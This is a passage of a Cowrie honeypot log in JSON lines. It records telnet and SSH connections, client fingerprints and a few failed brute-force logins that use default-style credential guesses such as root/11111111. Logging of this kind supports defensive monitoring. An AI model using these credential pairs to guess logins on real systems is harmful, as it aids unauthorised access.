:[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:27.613879Z","src_ip":"186.80.18.158","session":"221071a79b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server@123","message":"login attempt [server/server@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:27.949295Z","src_ip":"186.80.18.158","session":"221071a79b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":56720,"dst_ip":"10.17.0.5","dst_port":23,"session":"15d416cd7451","protocol":"telnet","message":"New connection: 108.179.218.230:56720 (10.17.0.5:23) [session: 15d416cd7451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:28.019182Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":57374,"dst_ip":"10.17.0.5","dst_port":23,"session":"69d0ae24870d","protocol":"telnet","message":"New connection: 108.179.218.230:57374 (10.17.0.5:23) [session: 69d0ae24870d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:28.594892Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:29.026758Z","src_ip":"186.80.18.158","session":"221071a79b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.40946936607361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:30.074108Z","src_ip":"212.47.75.195","session":"f5ff7f1ba068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.870303869247437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:30.368710Z","src_ip":"212.47.75.195","session":"cfb5bada7546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547345399856567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:30.379316Z","src_ip":"212.47.75.195","session":"794a16bdd09d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90709948539734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:30.536246Z","src_ip":"212.47.75.195","session":"5f6918895133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.411946296691895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:30.579465Z","src_ip":"108.179.218.230","session":"b58c48280e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.451197862625122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:31.206036Z","src_ip":"212.47.75.195","session":"b62f099f6e3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93313431739807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:31.226140Z","src_ip":"176.74.31.147","session":"c17abf8b5e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009721279144287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:31.320323Z","src_ip":"176.74.31.147","session":"da1b096aaf58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300921201705933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:32.313420Z","src_ip":"212.47.75.195","session":"4810f56c25ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.309759616851807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:32.316779Z","src_ip":"212.47.75.195","session":"6255461a966b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":59432,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b9d17278f7","protocol":"telnet","message":"New connection: 108.179.218.230:59432 (10.17.0.5:23) [session: f2b9d17278f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:32.722334Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":60322,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d73f080489c","protocol":"telnet","message":"New connection: 108.179.218.230:60322 (10.17.0.5:23) [session: 3d73f080489c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:34.515010Z"}
{"eventid":"cowrie.session.closed","duration":31.258940935134888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:34.521822Z","src_ip":"212.47.75.195","session":"8a34f96f30f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.242879152297974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:35.144330Z","src_ip":"212.47.75.195","session":"eaad89a2c470","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858712673187256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:35.318170Z","src_ip":"176.74.31.147","session":"7ab60dda9674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917163372039795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:35.343245Z","src_ip":"176.74.31.147","session":"8b456f152aee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.564387798309326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:35.347783Z","src_ip":"212.47.75.195","session":"1dc50993019b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10920023918152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:35.564350Z","src_ip":"108.179.218.230","session":"3ec1aca1d040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92960858345032,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:35.913274Z","src_ip":"212.47.75.195","session":"d4a8f3465a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":60510,"dst_ip":"10.17.0.5","dst_port":23,"session":"01bcd4398d8b","protocol":"telnet","message":"New connection: 108.179.218.230:60510 (10.17.0.5:23) [session: 01bcd4398d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:36.012001Z"}
{"eventid":"cowrie.session.closed","duration":30.88652753829956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:36.297909Z","src_ip":"176.74.31.147","session":"b6291c502a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856611251831055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:36.305606Z","src_ip":"176.74.31.147","session":"9e967f3ad35d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790993690490723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:36.339057Z","src_ip":"176.74.31.147","session":"bf44e9de3167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882019996643066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:36.606789Z","src_ip":"212.47.75.195","session":"c7fbbb537f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97646474838257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:37.510606Z","src_ip":"108.179.218.230","session":"d32b932e8e20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":33086,"dst_ip":"10.17.0.5","dst_port":23,"session":"758d536ab2f3","protocol":"telnet","message":"New connection: 108.179.218.230:33086 (10.17.0.5:23) [session: 758d536ab2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:37.541942Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":33602,"dst_ip":"10.17.0.5","dst_port":23,"session":"c80522769877","protocol":"telnet","message":"New connection: 108.179.218.230:33602 (10.17.0.5:23) [session: c80522769877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:37.561184Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":34058,"dst_ip":"10.17.0.5","dst_port":23,"session":"615c395ac5ee","protocol":"telnet","message":"New connection: 108.179.218.230:34058 (10.17.0.5:23) [session: 615c395ac5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:38.369689Z"}
{"eventid":"cowrie.session.closed","duration":30.83441424369812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:38.452935Z","src_ip":"108.179.218.230","session":"6b5ceb22c7e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607542037963867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:38.539991Z","src_ip":"108.179.218.230","session":"619f34986b8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2767333984375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:39.117183Z","src_ip":"133.130.75.21","session":"3f95035fa259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51479172706604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:39.236516Z","src_ip":"212.47.75.195","session":"0bff9e4ea67a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":51218,"dst_ip":"159.203.135.109","dst_port":23,"session":"36eef3c88b2f","protocol":"telnet","message":"New connection: 176.74.31.147:51218 (159.203.135.109:23) [session: 36eef3c88b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:39.416680Z"}
{"eventid":"cowrie.session.closed","duration":31.048039436340332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:40.276363Z","src_ip":"212.47.75.195","session":"e97709d218f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48816,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad1ed2c6beeb","protocol":"ssh","message":"New connection: 122.168.114.167:48816 (159.203.135.109:22) [session: ad1ed2c6beeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:40.829574Z"}
{"eventid":"cowrie.session.closed","duration":30.383503437042236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:41.424562Z","src_ip":"108.179.218.230","session":"1753457b5e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064462661743164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:41.437223Z","src_ip":"212.47.75.195","session":"503cc5f58f08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19680619239807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:42.453634Z","src_ip":"212.47.75.195","session":"13fe109a0907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.488781929016113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:42.491436Z","src_ip":"108.179.218.230","session":"37f082a35a1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22369909286499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:42.521396Z","src_ip":"108.179.218.230","session":"797e76bd68ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26141119003296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:43.120225Z","src_ip":"212.47.75.195","session":"6d6d723e4f85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917770624160767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:43.335018Z","src_ip":"212.47.75.195","session":"e22589dd6bc4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:43.673142Z","src_ip":"122.168.114.167","session":"ad1ed2c6beeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:43.737202Z","src_ip":"122.168.114.167","session":"ad1ed2c6beeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":35100,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21a8aa4e717","protocol":"telnet","message":"New connection: 108.179.218.230:35100 (10.17.0.5:23) [session: e21a8aa4e717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:43.781983Z"}
{"eventid":"cowrie.session.closed","duration":31.67302417755127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:44.366061Z","src_ip":"108.179.218.230","session":"2ec3963dc449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00899362564087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:44.618002Z","src_ip":"212.47.75.195","session":"5b31791bb53e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916269302368164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:44.711325Z","src_ip":"212.47.75.195","session":"bcb4c8b39971","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53666377067566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:47.099000Z","src_ip":"108.179.218.230","session":"0d199ab0aa7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.859682321548462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:48.543036Z","src_ip":"108.179.218.230","session":"8ebfebc25569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":39696,"dst_ip":"10.17.0.5","dst_port":23,"session":"178a3f21265a","protocol":"telnet","message":"New connection: 108.179.218.230:39696 (10.17.0.5:23) [session: 178a3f21265a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:50.016134Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":38264,"dst_ip":"10.17.0.5","dst_port":23,"session":"255fbef41864","protocol":"telnet","message":"New connection: 108.179.218.230:38264 (10.17.0.5:23) [session: 255fbef41864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:50.092541Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":39962,"dst_ip":"10.17.0.5","dst_port":23,"session":"da5e773b1988","protocol":"telnet","message":"New connection: 108.179.218.230:39962 (10.17.0.5:23) [session: da5e773b1988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:50.620404Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":40472,"dst_ip":"10.17.0.5","dst_port":23,"session":"0345b9ece8c9","protocol":"telnet","message":"New connection: 108.179.218.230:40472 (10.17.0.5:23) [session: 0345b9ece8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:51.985964Z"}
{"eventid":"cowrie.session.closed","duration":31.417635917663574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:53.905696Z","src_ip":"108.179.218.230","session":"4a620d3af5f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84940004348755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:55.510167Z","src_ip":"212.47.75.195","session":"437e3fbdd658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.468077898025513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:56.422281Z","src_ip":"108.179.218.230","session":"5bf7784308c1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:57.178365Z","src_ip":"122.168.114.167","session":"ad1ed2c6beeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":55957,"dst_ip":"10.17.0.5","dst_port":23,"session":"38267e93a75b","protocol":"telnet","message":"New connection: 133.130.75.21:55957 (10.17.0.5:23) [session: 38267e93a75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:57.831351Z"}
{"eventid":"cowrie.session.closed","duration":30.916423559188843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:58.336764Z","src_ip":"212.47.75.195","session":"1e022e57e2fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91150212287903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:58.930552Z","src_ip":"108.179.218.230","session":"15d416cd7451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06758141517639,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:59.662379Z","src_ip":"108.179.218.230","session":"69d0ae24870d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:01.237734Z","src_ip":"122.168.114.167","session":"ad1ed2c6beeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":56927,"dst_ip":"10.17.0.5","dst_port":23,"session":"ded1a79bcb71","protocol":"telnet","message":"New connection: 133.130.75.21:56927 (10.17.0.5:23) [session: ded1a79bcb71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:03.418551Z"}
{"eventid":"cowrie.session.closed","duration":31.614317655563354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:04.336534Z","src_ip":"108.179.218.230","session":"f2b9d17278f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49034,"dst_ip":"159.203.135.109","dst_port":22,"session":"9955ea682774","protocol":"ssh","message":"New connection: 159.203.92.129:49034 (159.203.135.109:22) [session: 9955ea682774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:04.412692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:04.417519Z","src_ip":"159.203.92.129","session":"9955ea682774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:04.422365Z","src_ip":"159.203.92.129","session":"9955ea682774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ari","password":"123456","message":"login attempt [ari/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:04.434542Z","src_ip":"159.203.92.129","session":"9955ea682774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:05.444040Z","src_ip":"159.203.92.129","session":"9955ea682774","protocol":"ssh"}
